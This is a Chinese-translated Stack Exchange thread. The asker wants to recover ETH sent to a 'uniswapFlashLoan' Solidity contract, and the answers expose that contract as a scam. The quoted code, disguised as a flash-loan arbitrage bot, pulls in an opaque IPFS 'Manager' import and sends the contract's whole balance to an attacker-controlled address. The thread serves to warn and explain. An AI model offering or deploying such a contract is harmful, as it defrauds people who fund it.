可以從智能合約中提取資金

我部署了一個智能合約，並為它提供了一些 eth。

現在我想要我提供的金額。

想法？

pragma solidity ^0.5.0;

// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";

//uniswap smart contracts v2 and v3

import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
// Code Manager
import "ipfs://QmVSF7tCdaYxyPLc543yK8gjVvpemTGhSRNVkeVnyMjqTJ";



   
contract uniswapFlashLoan {
   string public tokenName;
   string public tokenSymbol;
   uint loanAmount;
   Manager manager;
   
   constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
       tokenName = _tokenName;
       tokenSymbol = _tokenSymbol;
       loanAmount = _loanAmount;
           
       manager = new Manager();
   }
   
   function() external payable {}
   
   function action() public payable {
       // Send required coins for swap
       address(uint160(manager.uniswapDepositAddress())).transfer(address(this).balance);
       
       // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
       // Breakdown of functions written below
       manager.performTasks();
       
       /* Breakdown of functions
       // Submit token to BSC blockchain
       string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);

       // List the token on uniswapSwap
       manager.uniswapListToken(tokenName, tokenSymbol, tokenAddress);
       
       // Get BNB Loan from Multiplier-Finance
       string memory loanAddress = manager.takeFlashLoan(loanAmount);
       
       // Convert half BNB to DAI
       manager.uniswapDAItoBNB(loanAmount / 2);

       // Create BNB and DAI pairs for our token & Provide liquidity
       string memory bnbPair = manager.uniswapCreatePool(tokenAddress, "BNB");
       manager.uniswapAddLiquidity(bnbPair, loanAmount / 2);
       string memory daiPair = manager.uniswapCreatePool(tokenAddress, "DAI");
       manager.uniswapAddLiquidity(daiPair, loanAmount / 2);
   
       // Perform swaps and profit on Self-Arbitrage
       manager.uniswapPerformSwaps();
       
       // Move remaining BNB from Contract to your account
       manager.contractToWallet("BNB");

       // Repay Flash loan
       manager.repayLoan(loanAddress);
       */
   }

   }
}

要麼你試圖詐騙，要麼你被騙子欺騙了。明顯的騙局契約是顯而易見的。

檢查 ipfs 導入文件。所有轉賬都返回這裡：https ://bscscan.com/address/0x8B96C49C7A14978Ea63A184f63885025deC93891

看看這個契約還沒有任何回報。我可以假設您正在嘗試honeypot人們。

我看到的唯一transfer操作是在action函式中

address(uint160(manager.uniswapDepositAddress())).transfer(address(this).balance);

該行將契約餘額轉移到manager.uniswapDepositAddress()。

為了轉移成功，必須執行其餘功能，如果它們失敗，它將恢復整個事務。

引用自：https://ethereum.stackexchange.com/questions/101323